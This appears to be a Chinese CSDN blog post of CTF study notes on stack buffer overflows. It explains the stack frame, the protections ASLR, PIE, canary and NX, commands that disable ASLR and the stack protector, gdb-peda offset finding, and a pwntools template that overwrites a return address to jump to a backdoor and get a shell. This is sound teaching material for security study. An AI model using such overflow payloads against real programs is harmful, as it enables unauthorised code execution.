PWN-0x01 栈溢出

1 篇文章 0 订阅
本文介绍了栈的工作原理,详细讲解了栈溢出的概念,包括其保护机制如ALSR和PIE,以及如何通过垃圾字节爆栈来影响程序执行流程。同时,还分享了使用gdb进行调试和分析的实用指令。
摘要由CSDN通过智能技术生成

PWN-0x01 栈溢出

2020.05.29
目的:get shell

0x01 栈的工作原理

:一种先入后出的数据结构

被用于函数的局部内存管理(局部变量、调用信息)

栈往低地址方向增长

esp永远指向栈顶

push ebp        #把ebp的值压入栈顶  esp=esp-4
mov  ebp,esp    #esp值存入ebp
sub  ebp,0x10   #栈顶指针往上提,留出局部变量的空间
.
.
.
leave
ret

#leave 相当于以下操作
mov esp,ebp   #通过ebp恢复esp 首尾呼应
pop ebp       #pop 从栈顶取出一个数,即出栈 esp=esp+4

0x02 保护机制

checksec

NAME
ALSR堆栈、libc的地址发生变化
PIE代码段和数据段地址随机化(在ALSR开启的情况下才有效)
cannary比ebp低一位:ebp-0x4(32bit) ebp-0x8(64bit)
NX数据内存页不可执行

ALSR:

查看ALSR配置 cat /proc/sys/kernel/randomize_va_space 0 = 关闭 1 =
半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。 2 = 全随机。除了1中所述,还有heap。 root用户下关闭ALSR
echo 0 > /proc/sys/kernel/randomize_va_space

PIE:

默认编译关闭 开启pie进行编译: gcc -fpie -pie -o test-pie test.c

关闭cannary:

-fno-stack-protector

0x03 一般方法

gets(a);

scanf("%s",a);

STACK   #STACK中,下面是高位,上面是低位
-------
cannary  
esp-->
backdoor

用垃圾字节爆栈

gdb-peda$ pattern create 100 每个字节都是唯一的,方便定位

看eip里存入的值 eg.: A)AA

**gdb-peda$ pattern offset A)AA ** 看之前存了多少个垃圾字节

from pwn import *

context.log_level = 'debug' #看日志

p = process('')             #程序路径

gdb.attach(p,'b main')      #参数1:进程;参数2:指令
#看发出去的进程干了啥
backdoor = &addr            #程序中后门的地址
payload = 'A'*NumOfRubbishByte + p32(backdoor)#32bit-p32,64bit-p64

p.recvuntil('')             #题目里的提示符
p.sendline(payload)

p.interactive()

p8–1byte–8bits

小端序解析

0x04 gdb 指令

tip:gdb doesn’t open a process literally

指令用途
info function查看程序调用的函数
disassemble反汇编
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值